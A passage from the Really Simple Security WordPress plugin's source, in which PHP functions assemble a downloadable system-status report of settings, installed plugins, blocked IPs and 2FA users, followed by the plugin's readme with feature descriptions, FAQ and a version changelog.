	$output .= "rsssl_options:\n";

	if ( is_multisite() && rsssl_is_networkwide_active() ) {
		$stored_options = get_site_option( 'rsssl_options', [] );
	} else {
		$stored_options = get_option( 'rsssl_options', [] );
	}

	unset($stored_options['permissions_policy']);
	unset($stored_options['upgrade_insecure_requests']);
	unset($stored_options['x_xss_protection']);
	unset($stored_options['x_content_type_options']);
	unset($stored_options['x_frame_options']);
	unset($stored_options['referrer_policy']);
	unset($stored_options['content_security_policy']);
	unset($stored_options['xmlrpc_status_lm_enabled_once']);
	unset($stored_options['csp_status_lm_enabled_once']);
	unset($stored_options['csp_frame_ancestors_urls']);
	unset($stored_options['file_change_exclusions']);
	unset($stored_options['license']);
	unset($stored_options['cross_origin_opener_policy']);
	unset($stored_options['cross_origin_resource_policy']);
	unset($stored_options['cross_origin_embedder_policy']);


	$output .= print_r( $stored_options, true ) . "\n\n";

	$output .= "Installed plugins:\n";
	$output .= rsssl_system_status_get_installed_plugins() . "\n\n";

	if ( rsssl_get_option( 'enable_firewall' ) == 1 ) {
		$output .= "Blocked regions firewall: \n";
		$output .= rsssl_system_status_get_blocked_countries_firewall() . "\n\n";

		$output .= "Whitelist firewall: \n";
		$output .= rsssl_system_status_get_whitelist() . "\n\n";

		$output .= "Blocked IPs firewall: \n";
		$output .= rsssl_system_status_get_blocked_ips() . "\n\n";
	}

	if ( rsssl_get_option("enable_limited_login_attempts") == 1 ) {
		$output .= "Blocked regions LLA: \n";
		$output .= rsssl_system_status_get_blocked_countries_lla() . "\n\n";

		$output .= "Blocked users LLA: \n";
		$output .= rsssl_system_status_get_blocked_users_lla() . "\n\n";

		$output .= "Blocked ips LLA: \n";
		$output .= rsssl_system_status_get_blocked_ips_lla() . "\n\n";
	}

	if ( rsssl_get_option( 'login_protection_enabled' ) == 1 ) {
		$output .= "Users with 2FA enabled: \n";
		$output .= rsssl_system_status_get_2fa_users() . "\n\n";
	}

	return $output;
}

if ( rsssl_user_can_manage() && isset( $_GET['download'] ) ) {
	$rsssl_content   = rsssl_get_system_status();
	$rsssl_fsize     = function_exists( 'mb_strlen' ) ? mb_strlen( $rsssl_content, '8bit' ) : strlen( $rsssl_content );
	$rsssl_file_name = 'really-simple-ssl-system-status.txt';

	//direct download
	header( 'Content-type: application/octet-stream' );
	header( 'Content-Disposition: attachment; filename="' . $rsssl_file_name . '"' );
	//open in browser
	//header("Content-Disposition: inline; filename=\"".$file_name."\"");
	header( "Content-length: $rsssl_fsize" );
	header( 'Cache-Control: private', false ); // required for certain browsers
	header( 'Pragma: public' ); // required
	header( 'Expires: 0' );
	header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
	header( 'Content-Transfer-Encoding: binary' );
	echo $rsssl_content;
}

function rsssl_find_wordpress_base_path() {
	$path = __DIR__;

	// Check for Bitnami WordPress installation
	if ( isset( $_SERVER['DOCUMENT_ROOT'] ) && $_SERVER['DOCUMENT_ROOT'] === '/opt/bitnami/wordpress' ) {
		return '/opt/bitnami/wordpress';
	}

	do {
		if ( file_exists( $path . '/wp-config.php' ) ) {
			//check if the wp-load.php file exists here. If not, we assume it's in a subdir.
			if ( file_exists( $path . '/wp-load.php' ) ) {
				return $path;
			} else {
				//wp not in this directory. Look in each folder to see if it's there.
				if ( file_exists( $path ) && $handle = opendir( $path ) ) { //phpcs:ignore
					while ( false !== ( $file = readdir( $handle ) ) ) {//phpcs:ignore
						if ( '.' !== $file && '..' !== $file ) {
							$file = $path . '/' . $file;
							if ( is_dir( $file ) && file_exists( $file . '/wp-load.php' ) ) {
								$path = $file;
								break;
							}
						}
					}
					closedir( $handle );
				}
			}

			return $path;
		}
	} while ( $path = realpath( "$path/.." ) ); //phpcs:ignore

	return false;
}

function rsssl_system_status_get_installed_plugins() {
	if ( ! current_user_can( 'manage_security' ) ) {
		return;
	}

	// Load the plugin admin functions
	if ( ! function_exists( 'get_plugins' ) ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
	}

	// Get the list of all installed plugins
	$all_plugins = get_plugins();
	$plugin_list = array();

	// Loop through plugins to format the list with name and version
	foreach ( $all_plugins as $plugin_path => $plugin_data ) {
		$plugin_list[] = $plugin_data['Name'] . ' (' . $plugin_data['Version'] . ')';
	}

	// Return the list as a comma-separated string
	return implode( ', ', $plugin_list );
}

function rsssl_system_status_get_blocked_countries_firewall() {

	if ( ! current_user_can( 'manage_security' ) ) {
		return;
	}

	global $wpdb;
	$table_name   = $wpdb->base_prefix . 'rsssl_geo_block';
	$query_string = $wpdb->prepare(
		"SELECT iso2_code FROM {$table_name} WHERE data_type = %s AND ip_address is NULL",
		'country'
	);
	// phpcs:ignore
	$result         = $wpdb->get_results( $query_string );
	$column_results = array_column( $result, 'iso2_code' );

	return implode( ',', $column_results );
}

function rsssl_system_status_get_whitelist() {

	if ( ! current_user_can( 'manage_security' ) ) {
		return;
	}

	global $wpdb;
	$table_name   = $wpdb->base_prefix . 'rsssl_geo_block';
	$query_string = $wpdb->prepare(
		"SELECT ip_address FROM {$table_name} WHERE data_type = %s",
		'trusted'
	);
	// phpcs:ignore
	$result         = $wpdb->get_results( $query_string );
	$column_results = array_column( $result, 'ip_address' );

	return implode( ',', $column_results );

}

function rsssl_system_status_get_blocked_countries_lla() {

	if ( ! current_user_can( 'manage_security' ) ) {
		return;
	}

	global $wpdb;
	$table_name = $wpdb->base_prefix . 'rsssl_login_attempts';

	// Query to get all the blocked countries from the login attempts table where attempt_type is 'country'
	$query_string = $wpdb->prepare(
		"SELECT attempt_value FROM {$table_name} WHERE attempt_type = %s AND status = %s",
		'country', 'blocked'
	);

	// phpcs:ignore
	$result         = $wpdb->get_results( $query_string );
	$column_results = array_column( $result, 'attempt_value' );

	if ( empty( $column_results ) ) {
		return "No blocked countries found.";
	}

	return implode( ',', $column_results );
}

function rsssl_system_status_get_blocked_ips() {
	if ( ! current_user_can( 'manage_security' ) ) {
		return '';
	}

	$output = '';

	global $wpdb;
	$sql = $wpdb->prepare(
		"SELECT ip_address FROM {$wpdb->base_prefix}rsssl_geo_block WHERE blocked = %d AND data_type = %s",
		1,
		'404'
	);

	$results = $wpdb->get_results( $sql, ARRAY_A );

	if ( empty( $results ) ) {
		return "No blocked IPs found.";
	}

	foreach ( $results as $row ) {
		$output .= $row['ip_address'] . "\n";
	}

	return $output;
}

function rsssl_system_status_get_blocked_users_lla() {
	if ( ! current_user_can( 'manage_security' ) ) {
		return;
	}

	global $wpdb;
	$table_name = $wpdb->base_prefix . 'rsssl_login_attempts';

	// Query to get all blocked users from login attempts where attempt_type is 'username'
	$query_string = $wpdb->prepare(
		"SELECT attempt_value FROM {$table_name} WHERE attempt_type = %s AND status = %s",
		'username', 'blocked'
	);

	// phpcs:ignore
	$result = $wpdb->get_results( $query_string );
	$column_results = array_column( $result, 'attempt_value' );

	if ( empty( $column_results ) ) {
		return "No blocked users found.";
	}

	return implode( ',', $column_results );
}

function rsssl_system_status_get_blocked_ips_lla() {
	if ( ! current_user_can( 'manage_security' ) ) {
		return;
	}

	global $wpdb;
	$table_name = $wpdb->base_prefix . 'rsssl_login_attempts';

	// Query to get blocked single IPs (without CIDR notation) from login attempts
	$query_string = $wpdb->prepare(
		"SELECT attempt_value FROM {$table_name} WHERE attempt_type = %s AND status = %s AND attempt_value NOT LIKE %s",
		'source_ip', 'blocked', '%/%'
	);

	// phpcs:ignore
	$result = $wpdb->get_results( $query_string );
	$column_results = array_column( $result, 'attempt_value' );

	if ( empty( $column_results ) ) {
		return "No blocked users found.";
	}

	return implode( ',', $column_results );
}

function rsssl_system_status_get_2fa_users() {
	if ( ! current_user_can( 'manage_security' ) ) {
		return;
	}

	global $wpdb;

	// Query to get all users with TOTP or email 2FA status
	$query = "
		SELECT user_id, meta_key, meta_value
		FROM {$wpdb->usermeta}
		WHERE meta_key IN ('rsssl_two_fa_status_totp', 'rsssl_two_fa_status_email')
	";

	// Execute the query
	$results = $wpdb->get_results( $query );

	// If no results, return a message
	if ( empty( $results ) ) {
		return 'No users found with 2FA settings.';
	}

	// Array to store users and their 2FA methods
	$users_2fa = array();

	// Organize the 2FA status by user
	foreach ( $results as $row ) {
		if ( ! isset( $users_2fa[ $row->user_id ] ) ) {
			$users_2fa[ $row->user_id ] = array(
				'rsssl_two_fa_status_totp' => '',
				'rsssl_two_fa_status_email' => '',
			);
		}

		// Update TOTP or email 2FA status
		$users_2fa[ $row->user_id ][ $row->meta_key ] = $row->meta_value;
	}

	// Prepare output for users with active 2FA methods
	$output = array();
	foreach ( $users_2fa as $user_id => $user_data ) {
		$user_info = get_userdata( $user_id );

		// Determine the active 2FA method
		if ( $user_data['rsssl_two_fa_status_totp'] === 'active' ) {
			$output[] = $user_info->user_login . ' - TOTP';
		} elseif ( $user_data['rsssl_two_fa_status_email'] === 'active' ) {
			$output[] = $user_info->user_login . ' - Email';
		}
	}

	// If no users are found with 2FA, add a note
	if ( empty( $output ) ) {
		return 'No users found with 2FA enabled.';
	}

	// Return a newline-separated list of users and their 2FA statuses
	return implode( "\n", $output );
}
really-simple-ssl/readme.txt000064400000067227147510273070012144 0ustar00=== Really Simple Security - Simple and Performant Security (formerly Really Simple SSL)===
Contributors: RogierLankhorst, markwolters, hesseldejong, vicocotea, marcelsanting, janwoostendorp
Donate link: https://www.paypal.me/reallysimplessl
Tags: security, ssl, 2fa, vulnerabilities, two factor
Requires at least: 5.9
License: GPL2
Tested up to: 6.7
Requires PHP: 7.4
Stable tag: 9.1.4

Easily improve site security with WordPress Hardening, Two-Factor Authentication (2FA), Login Protection, Vulnerability Detection and SSL certificate.

== Description ==

=== Really simple, Effective and Performant WordPress Security ===
Really Simple Security is the most lightweight and easy-to-use security plugin for WordPress. It secures your WordPress website with SSL certificate generation, properly enforcing en redirecting to https, scanning for possible vulnerabilities, Login Protection and implementing essential WordPress hardening features.

We believe that security should have the absolute minimum effect on website performance, user experience and maintainability. Therefore, Really Simple Security is:

* **Lightweight:** Every security feature is developed with a modular approach and with performance in mind. Disabled features won't load any redundant code.
* **Easy-to-use:** 1-minute configuration with short onboarding setup.

=== Security Features ===

= Easy SSL Migration =
Migrates your website to HTTPS and enforces SSL in just one click.

* 301 redirect via PHP or .htaccess
* Secure cookies
* Let's Encrypt: Install an SSL Certificate if your hosting provider supports manual installation.
* Server Health Check: Your server configuration is every bit as important for your website security.

= WordPress Hardening =
Tweak your configuration and keep WordPress fortified and safe by tackling potential weaknesses.

* Prevent code execution in the uploads folder
* Prevent login feedback and disable user enumeration
* Disable XML-RPC
* Disable directory browsing
* Username restrictions (block 'admin' and public names)
* and much more..

= Vulnerability Detection =
Get notified when plugins, themes or WP core contain vulnerabilities and need appropriate action.

= Login Protection =
Allow or enforce Two-Factor Authentication (2FA) for specific user roles. Users receive a two-factor code via Email.

=== Improve Security with Really Simple Security Pro ===
[Protect your site with all essential security features by upgrading to Really Simple Security Pro.](https://really-simple-ssl.com/)

= Advanced SSL enforcement =
* Mixed Content Scan & Fixer. Detect files that are requested over HTTP and fix it, both Front- and Back-end.
* Enable HTTP Strict Transport Security and configure your site for the HSTS Preload list.

= Firewall =
Really Simple Security Pro includes a performant and efficient WordPress firewall, to stop bots, crawlers and bad actors with IP and username blocks.

* 404 blocking - Blocks crawlers as they trigger unusual numbers of 404 errors.
* Region blocking - Only allow/block access to your site from specific regions.
* Automated and customisable Firewall rules.
* IP blocklist and allowlist.

= Security Headers =
Security headers protect your site visitors against the risk of clickjacking, cross-site-forgery attacks, stealing login credentials and malware.

* Independent of your Server Configuration, works on Apache, LiteSpeed, NGINX, etc.
* Protect your website visitors with X-XSS Protection, X-Content-Type-Options, X-Frame-Options, a Referrer Policy and CORS headers.
* Automatically generate your WordPress-tailored Content Security Policy.

= Vulnerability Measures =
When a vulnerability is detected in a plugin, theme or WordPress core you will get notified accordingly. With Vulnerability Measures, you can configure simple but effective measures to make sure that a critical vulnerability won't remain unattended.

* Force update: An update process will be tried multiple times until it can be assumed development of a theme or plugin is abandoned. You will be notified during these steps.
* Quarantine: When a plugin or theme can't be updated to solve a vulnerability, Really Simple Security can quarantine the plugin.

= Advanced Site Hardening =
* Choose a custom login URL
* Automated File Permissions check and fixer
* Rename and randomize your database prefix
* Change the debug.log file location to a non-public folder
* Disable application passwords
* Control admin creation
* Disable HTTP methods, reducing HTTP requests

= Login Protection =
Secure your website's login process and user accounts with powerful security measures.

* Two-Step verification (Email login)
* Enforce strong passwords and frequent password change
* Limit Login Attempts

With Limit Login Attempts you can configure a threshold to temporarily or permanently block IP addresses or (non-existing) usernames. You can also throw a CAPTCHA after a failed login (hCaptcha or Google reCaptcha)

= Access Control =
* Restrict access to your site for specific regions.
* Add specific IP addresses or IP ranges to the Blocklist or Allowlist.

== Useful Links ==
* [Documentation](https://really-simple-ssl.com/knowledge-base-overview/)
* [Security Definitions](https://really-simple-ssl.com/definitions/)
* [Translate Really Simple Security](https://translate.wordpress.org/projects/wp-plugins/really-simple-ssl)
* [Issues & pull requests](https://github.com/Really-Simple-Plugins/really-simple-ssl/issues)
* [Feature requests](https://really-simple-ssl.com/feature-requests/)

== Love Really Simple Security? ==
If you want to support the continuing development of this plugin, please consider buying [Really Simple Security Pro](https://www.really-simple-ssl.com/pro/), which includes some excellent security features and premium support.

== About Really Simple Plugins ==
Our mission is to make complex WordPress requirements really easy. Really Simple Security is developed by [Really Simple Plugins](https://www.really-simple-plugins.com).

For generating SSL certificates, Really Simple Security uses the [le acme2 PHP](https://github.com/fbett/le-acme2-php/) Let's Encrypt client library, thanks to 'fbett' for providing it. Vulnerability Detection uses WP Vulnerability, an open-source initiative by Javier Casares. Want to join as a collaborator? We're on [GitHub](https://github.com/really-simple-plugins/really-simple-ssl) as well!

== Installation ==
To install this plugin:

1. Make a backup! See [our recommendations](https://really-simple-ssl.com/knowledge-base/backing-up-your-site/).
2. Download the plugin.
3. Upload the plugin to the /wp-content/plugins/ directory.
4. Go to "Plugins" in your WordPress admin, then click "Activate".
5. You will now see the Really Simple Security onboarding process, to quickly help you through the configuration process.

== Frequently Asked Questions ==
= Knowledge Base =
For more detailed explanations and documentation on all Really Simple Security features, please search the [Knowledge Base](https://www.really-simple-ssl.com/knowledge-base/)

= What happened with Really Simple SSL? =
All features that made Really Simple SSL the most powerful and easy-to-use SSL plugin are still part of Really Simple Security. The plugin is developed with a modular approach: if you don't want to use the full set of security features, the unused code will not be loaded and won't have any effect on your site's performance.

= Why Really Simple Security? =
In our experience, security solutions for WordPress are often hard to configure, trigger many false positives and have a significant impact on site performance. We have been receiving requests from our users to simplify WordPress security for years, so that has become our mission!

= I want to share my feedback or contribute to Really Simple Security =
You couldn't make us happier! Really Simple Security is GPL licensed and co-created by the WordPress community. All feedback is highly appreciated and has always helped us to better understand users' needs. For code contributions or suggestions, we're on [GitHub](https://github.com/really-simple-plugins/really-simple-ssl). For suggestions, please [open a support ticket](https://wordpress.org/support/plugin/really-simple-ssl/) You can also express your appreciation by [leaving a review](https://wordpress.org/support/plugin/really-simple-ssl/reviews/).

= Mixed Content issues =
Most mixed content issues are caused by URLs in CSS or JS files. For detailed instructions on how to find mixed content read this [article](https://really-simple-ssl.com/knowledge-base/how-to-track-down-mixed-content-or-insecure-content/).

= Generating a Let's Encrypt SSL Certificate =
We added the possibility to generate a Free SSL Certificate with Let's Encrypt in our Really Simple Security Wizard. We have an updated list available for all possible integrations [here](https://really-simple-ssl.com/install-ssl-certificate/). Please leave feedback about another integration, incorrect information, or you need help.

= Redirect loop issues =
If you are experiencing redirect loops on your site, try these [instructions](https://really-simple-ssl.com/knowledge-base/my-website-is-in-a-redirect-loop/).

= Is the plugin multisite compatible? =
Yes. There is a dedicated network settings page where you can control settings for your entire network, at once.

= Uninstalling Really Simple Security =
The plugin checks your certificate before enabling, but if, for example, you migrated the site to a non-SSL environment, you might get locked out of the back-end.

If you can't deactivate, do not just remove the plugin folder to uninstall! Follow these [instructions](https://really-simple-ssl.com/knowledge-base/uninstall-websitebackend-not-accessible/) instead.

== Changelog ==
= 9.1.4 =
* Improvement: do not track 404's for logged in users
* Improvement: implemented the rsssl_wpconfig_path filter in all wp-config functions
* Improvement: Faster onboarding completion after clicking Finish button
* Improvement: CSS. Shields in user interface on datatables are no longer cut off

= 9.1.3 =
* November 28th
* Improvement: Width Vulnerabilities -> configuration
* Improvement: 2Fa lockout notice
* Improvement: catch use of short init in advanced-headers file
* Improvement: string improvements and translator comments
* Improvement: Bitnami support for rsssl_find_wordpress_base_path()
* Improvement: integrate Site health notifications with Solid Security
* Improvement: Enhanced random password generation in Rename Admin User feature
* Improvement: Always return string in wpconfig_path() function
* Improvement: Removes configuration options for a user in edit user.
* Fix: Remove duplicate site URL.
* Fix: ensure rsssl_sanitize_uri_value() function always returns a string, to prevent errors.
* Fix: multisite users who have enabled roles couldn’t use the 2fa if an other role than theirs has been forced.
* Fix: The ‘Skip Onboarding’ button presented an undefined page after selecting the email method as an option.
* Fix: Update translation loading according to the new 6.7 method.

= 9.1.2 =
* security: authentication bypass

= 9.1.1.1 =
* November 5th, 2024
*Improvement: updated black friday dates

= 9.1.1 =
* November 5th, 2024
* Improvement: setting a rsssl-safe-mode.lock file now also enables safe mode and deactivates the Firewall, 2FA and LLA for debugging purposes.
* Improvement: update to system status
* Improvement: textual changes
* Improvement: Updated instructions URLs
* Improvement: Changed site health notices from critical to recommended
* Improvement: dropped obsolete react library
* Fix: fixed a bug where the 2FA grace period was kept active after a reset

= 9.1.0 =
* October 22nd
* Improvement: Allow scanning for security headers via http://scan.really-simple-ssl.com  with one click
* Improvement: Remove unnecessary rsssl_update_option calls.
* Fix: prevent potential errors with login feedback..
* Fix: Catch type error when $transients is not an array.

= 9.0.2 =
* Fix: issue with deactivating 2fa

= 9.0.0 =
* September 16th
* Fix: Instructions URL in the Firewall settings.
* Fix: Fixed incorrect instructions URL
* Fix: Let's Encrypt returning an old certificate on auto-renewed certificates
* Improvement: As the X-Frame-Options is deprecated and replaced by frame ancestors, we drop the header as recommendation.
* Improvement: save and continue in vulnerabilities overview not working correctly

= 8.3.0.1 =
* Fix: Issues with the decryption model

= 8.3.0 =
* August 12th, 2024
* Feature: Password security scan. This feature scans your users for weak passwords, and allows you to enforce non-compromised passwords.
* Fix: Fixed some strings that were not translatable. This has been resolved.
* Fix: Premium support link did not work. Now links to the correct page.
* Improvement: Disable the cron schedules on deactivation.
* Fix: Links in emails were sometimes not correct. This has been fixed.
* Fix: Fatal error on permission detection. This has been resolved.
* Improvement: Custom header for the license checks for better compatibility with some hosting environments.
* Improvement: Added option to disable X-powered-by header.
* Improvement: New improved encryption method for some settings.

= 8.1.5 =
* June 21th, 2024
* Fix: documentation links to website broken
* Improvement: some text changes in helptexts
* Improvement: new structure to upgrade database tables

= 8.1.4 =
* June 11th, 2024
* Improvement: dropdown in onboarding not entirely visible
* Improvement: Styling of locked XML RPC overview
* Fix: Not loading cookie expiration change
* Fix: Visual Composer compatibility icw Enforce Strong Password
* Fix: Multiple CloudFlare detected notices in onboarding
* Fix: Checkbox position in onboarding

= 8.1.3 =
* May 16th, 2024
* Fix: WP Rocket compatibility causing an issue when advanced-headers.php does not exist

= 8.1.2 =
* May 16th, 2024
* Fix: upgrade advanced-headers.php file to allow early inclusion of the file. The ABSPATH defined check causes in issue for early inclusion, so must be removed.

= 8.1.1 =
* May 14th, 2024
* New: detection of non-recommended permissions on files
* New: Configure region restrictions for your site
* Improvement: Textual change on premium overlay
* Improvement: Upgraded minimum required PHP version to 7.4
* Improvement: compatibility with Bitnami
* Improvement: compatibility of Limit Login Attempts with Woocommerce
* Improvement: remove duplicate X-Really-Simple-SSL-Test from advanced-headers-test.php
* Improvement: clear notice about .htaccess writable if do_not_edit_htaccess is enabled
* Fix: upgrade from <6.0 version to >8.0 causing a fatal error
* Fix: URL to details of detected vulnerabilities was incorrect

= 8.1.0 =
* Improvement: some string corrections
* Fix: show 'self' as default in Frame Ancestors
* Improvement: catch not existing rsssl_version_compare
* Improvement: check for openSSL module existence
* Improvement: set default empty array for options, for legacy upgrades
* Improvement: disable custom login URL when plain permalinks are enabled
* New: Limit Login Attempts Captcha integration
* Improvement: drop renamed folder notice, not needed anymore
* Improvement: enable advanced headers in onboarding
* Improvement: is_object check in updater

= 8.0.1 =
* Fix: enable 2FA during onboarding when not selected by user
* Improvement: better CSP defaults
* Fix: on upgrade to pro, free settings were cleared if "clear settings on deactivation" was enabled
* Fix: catch several array key not existing errors

= 8.0.0 =
* New: hide remember me checkbox
* New: extend blocking of malicious admin creation to multisite
* Improvement: drop prefetch-src from Content Security Policy
* Improvement: disable two-fa when login protection is disabled

= 7.2.8 =
* Fix: clear cron schedules on deactivation
* Improvement: translations update
* Notice: inform users about upcoming merge of free and pro plugin, not action needed, everything will be handled automatically

= 7.2.7 =
* Improvement: added integration with FlyingPress and Fastest Cache
* Improvement: fix exiting a filter, causing a compatibility issue with BuddyPress

= 7.2.6 =
* Improvement: text changes
* Improvement: css on login error message
* Improvement: header detection improved by always checking the last url in the redirect chain
* New: Added option to limit login cookie expiration time
* Fix: custom 404 pages i.c.w. custom login url

= 7.2.5 =
* Fix: IP detection header order
* Fix: table creation on activation of LLA module

= 7.2.4 =
* Fix: PHP warning in Password Security module
* Fix: change login url feature not working with password protected pages
* Improvement: move database table creation to Limit Login Attempts module
* Improvement: prevent php error caused by debug.log file hardening feature

= 7.2.3 =
* Fix: CSP data not showing in datatable

= 7.2.2 =
* Improvement: improved check for PharData class

= 7.2.1 =
* Fix: Config for CSP preventing Learning mode from completing
* Fix: datatable styling
* Fix: using deactivate_https with wp-cli did not remove htaccess rules
* Improvement: add query parameter to enforce email verification &rsssl_force_verification
* Improvement: css for check certificate manually button

= 7.2.0 =
* Fix: changed link to article
* Fix: remove flags .js file which was added twice, props @adamainsworth
* Fix: typo in missing advanced-headers.php notice
* Improvement: catch php warning when script src is empty when using hide wp version, props @chris-yau
* Improvement: new save & continue feedback
* Improvement: datatable styling
* Improvement: new react based modal
* Improvement: menu re-structured
* Improvement: re-check vulnerability status after core update
* Improvement: link in the email security notification to the vulnerability page instead of to a general explanation

= 7.1.3 =
* October 11th 2023
* Fix: React ErrorBoundary preventing Let's Encrypt generation to complete.

= 7.1.2 =
* October 6th 2023
* Fix: hook change in integrations loader causing modules not to load. props @rami5342

= 7.1.1 =
* October 5th 2023
* Fix: incorrect function usage, props @heutger

= 7.1.0 =
* October 4th 2023
* Improvement: detection if advanced-headers.php file is running

= 7.0.9 =
* September 5th 2023
* Improvement: typo update word
* Improvement: translatability in several strings.

= 7.0.8 =
* August 8th 2023
* Improvement: WordPress tested up to 6.3
* Improvement: improve file existence check json
* Fix: handling of legacy options in php 8.1
* Fix: count remaining tasks

= 7.0.7 =
* July 25th 2023
* Improvement: modal icon placement in wizard on smaller screens
* Improvement: expire cached detected headers five minutes after saving the settings
* Fix: handling of legacy options in php 8.1
* Fix: prevent issues with CloudFlare when submitting support form from within the plugin
* Fix: translations singular/plural for japanese translations @maboroshin

= 7.0.6 =
* July 4th 2023
* Improvement: support custom wp-content directory in advanced-headers.php
* Improvement: prevent usage of subdirectories in custom login url
* Fix: translations not loading for chunked react components
* Improvement: add option to manually re-check vulnerabilities '&rsssl_check_vulnerabilities', props @fawp

= 7.0.5 =
* Fix: some users with a non www site reporting issues on the login page over http://www, due to the changes in the wp redirect. Reverting to the old method. props @pedalnorth, @mossifer.

= 7.0.4 =
* June 14th 2023
* Improvement: notice informing about the new free vulnerability detection feature
* Improvement: improved the php redirect method
* Improvement: make the wp-config.php not writable notice dismissable
* Fix: feedback on hardening features enable action not showing as enabled, props @rtpHarry

= 7.0.3 =
* Fix: fix false positives on some plugins
* Improvement: vulnerability notifications in site health, if notifications are enabled.

= 7.0.2 =
* Improvement: improve matching precision on plugins with vulnerabilities.

= 7.0.1 =
* Fix: When the Rest API is not available, the ajax fallback should kick in, which didn't work correctly in 7.0. props @justaniceguy

= 7.0.0 =
* New: Vulnerability Detection is in Beta - [Read more](https://really-simple-ssl.com/vulnerability-detection/) or [Get Started](https://really-simple-ssl.com/instructions/about-vulnerabilities/)
* Improvement: move onboarding rest api to do_action rest_route
* Improvement: catch several edge situations in SSL Labs api
* Improvement: SSL Labs block responsiveness
* Improvement: more robust handling of wp-config.php detection

= 6.3.0 =
* Improvement: added support for the new Let's Encrypt staging environment

= 6.2.5 =
* Improvement: add warning alert option
* Fix: capability mismatch in multisite. props @verkkovaraani

= 6.2.4 =
* Improvement: optionally enable notification emails in onboarding wizard
* Improvement: onboarding styling
* Fix: catch non array value from notices array, props @kenrichman
* Fix: typo in documenation link, props @bookman53

= 6.2.3 =
* Improvement: Changed Back-end react to functional components
* Improvement: multisite notice should link to network admin page
* Improvement: detect existing CAA records to check Let's Encrypt compatibility
* Improvement: tested up to wp 6.2
* Improvement: UX improvement learning mode

= 6.2.2 =
* Fix: capability mismatch for a non administrator in multisite admin, props @jg-visual

= 6.2.1 =
* Fix: race condition when activating SSL through wp-cli, because of upgrade script
* Fix: missing disabled state in textarea and checkboxes
* Fix: some strings not translatable
* Fix: Let's Encrypt renewal with add on
* Improvement: permissions check re-structuring
* Improvement: notice on subsite within multisite environment about wildcard updated

= 6.2.0 =
* New: optional email notifications on advanced settings
* Improvement: added tooltips
* Improvement: added warnings for .htaccess redirect
* Improvement: don't send user email change on renaming admin user, as the email doesn't actually change
* Improvement: Use BASEPATH only for wp-load.php, so symlinked folders will load based on ABSPATH
* Improvement: Improved support for environments where Rest API is blocked

= 6.1.1 =
* Fix: WP CLI not completing SSL when because site_has_ssl option is not set if website has not been visited before, props @oolongm
* Improvement: prevent 'undefined' status showing up in api calls on settings page
* Improvement: show notice if users are using an <2.0 Let's Encrypt shell add-on which is not compatible with 6.0

= 6.1.0 =
* Improvement: some UX changes
* Improvement: Limit number of notices in the dashboard
* Improvement: load rest api request url over https if website is loaded over https
* Fix: empty menu item visible in Let's Encrypt menu

= 6.0.14 =
* Fix: settings page when using plain permalinks, props @mvsitecreator, props @doug2son

= 6.0.13 =
* Improvement: improve method of dropping empty menu items in settings dashboard
* Improvement: dynamic links in auto installer
* Improvement: Let's Encrypt Auto installer not working correctly, props @mirkolofio
* Improvement: change rest_api method to core wp apiFetch()
* Improvement: scroll highlighted setting into view after clicking "fix" on a task
* Improvement: run http method test in batches, and set a default, to prevent possibility of curl timeouts on systems with CURL issues
* Improvement: clean up code-execution.php file after test, props @spinhead
* Improvement: give notification if 'DISABLE_FILE_EDITING' is set to false in the wp-config.php props @joeri1977
* Improvement: drop some unnecessary translations
* Improvement: set better default, and change transients to option for more persistent behavior in wp version test, props @photomaldives
* Fix: Burst Statistics not activating after installation
* Fix: CSS for blue labels in progress dashboard below 1080px
* Fix: WPCLI SSL activation not working due to capability checks, props @oolongm
* Fix: catch invalid account error in Let's Encrypt generation, props @bugsjr
* Fix: do not block user enumeration for gutenberg

= 6.0.12 =
* Fix: on multisite, the test for users with admin username did not use the correct prefix, $wpdb->base_prefix, props @jg-visual
* Improvement: allow submenu in back-end react application
* Improvement: Skip value update when no change has been made
* Improvement: no redirect on dismiss of admin notice, props @gangesh, @rtpHarry, @dumel
* Improvement: remove obsolete warning
* Improvement: qtranslate support on settings page

= 6.0.11 =
* Fix: on some environments, the HTTP_X_WP_NONCE is not available in the code, changed logged in check to accomodate such environments
* Fix: dismiss on admin notices not immediately dismissing, requiring dismiss through dashboard, props @dumel

= 6.0.10 =
* Fix: Apache 2.4 support for the block code execution in the uploads directory hardening feature, props @overlake
* Fix: When used with Varnish cache, Rest API get requests were cached, causing the settings page not to update.
* Fix: Ensure manage_security capability for users upgraded from versions before introduction of this capability
* Fix: allow for custom rest api prefixes, props @coderevolution
* Fix: bug in Let's Encrypt generation with DNS verification: saving of 'disable_ocsp' setting, create_bundle_or_renew action with quotes
* Fix: change REST API response method to prevent script errors on environments with PHP warnings and errors, causing blank settings page
* Improvement: Simplify user enumeration test
* Improvement: catch unexpected response in SSL Labs object
* Improvement: z-index on on boarding modal on smaller screen sizes, props @rtpHarry
* Improvement: hide username field if no admin username is present, props @rtpHarry

= 6.0.9 =
* Fix: incorrectly disabled email field in Let's Encrypt wizard, props @cburgess
* Improvement: on rename admin user, catch existing username, and strange characters
* Improvement: catch openBaseDir restriction in cpanel detection function, props @alofnur
* Improvement: remove 6.0 update notices on subsites in a multisite network, props @wpcoderca, (@collizo4sky

= 6.0.8 =
* Improvement: Lets Encrypt wizard CSS styling
* Improvement: re-add link to article about Let's Encrypt so users can easily find the URL
* Improvement: let user choose a new username when selecting "rename admin user"

= 6.0.7 =
* Fix: restrict conditions in which htaccess rewrite runs, preventing conflicts with other rewriting plugins

= 6.0.6 =
* Fix: drop upgrade of .htaccess file in upgrade script

= 6.0.5 =
* Fix: race condition in .htaccess update script, where multiple updates simultaneously caused issues with the .htaccess file

= 6.0.4 =
* Fix: using the .htaccess redirect in combination with the block code execution in uploads causes an issue in the .htaccess redirect
* Fix: deactivating Really Simple SSL does not completely remove the wp-config.php fixes, causing errors, props @minalukic812

= 6.0.3 =
* Fix: Rest Optimizer causing other plugins to deactivate when recommended plugins were activated, props @sardelich

= 6.0.2 =
* Fix: do not show WP_DEBUG_DISPLAY notice if WP_DEBUG is false, props @janv01
* Fix: empty cron schedule, props @gilvansilvabr
* Improvement: several typo's and string improvements
* Fix: auto installer used function not defined yet
* Fix: rest api optimizer causing an error in some cases @giorgos93

= 6.0.1 =
* Fix translations not loading for scripts

= 6.0.0 =
* Tested up to WordPress 6.1.0
* Improvement: User Interface
* New: Server Health Check - powered by SSLLabs
* New: WordPress Hardening Features

== Upgrade notice ==
On settings page load, the .htaccess file is no rewritten. If you have made .htaccess customizations to the RSSSL block and have not blocked the plugin from editing it, do so before upgrading.
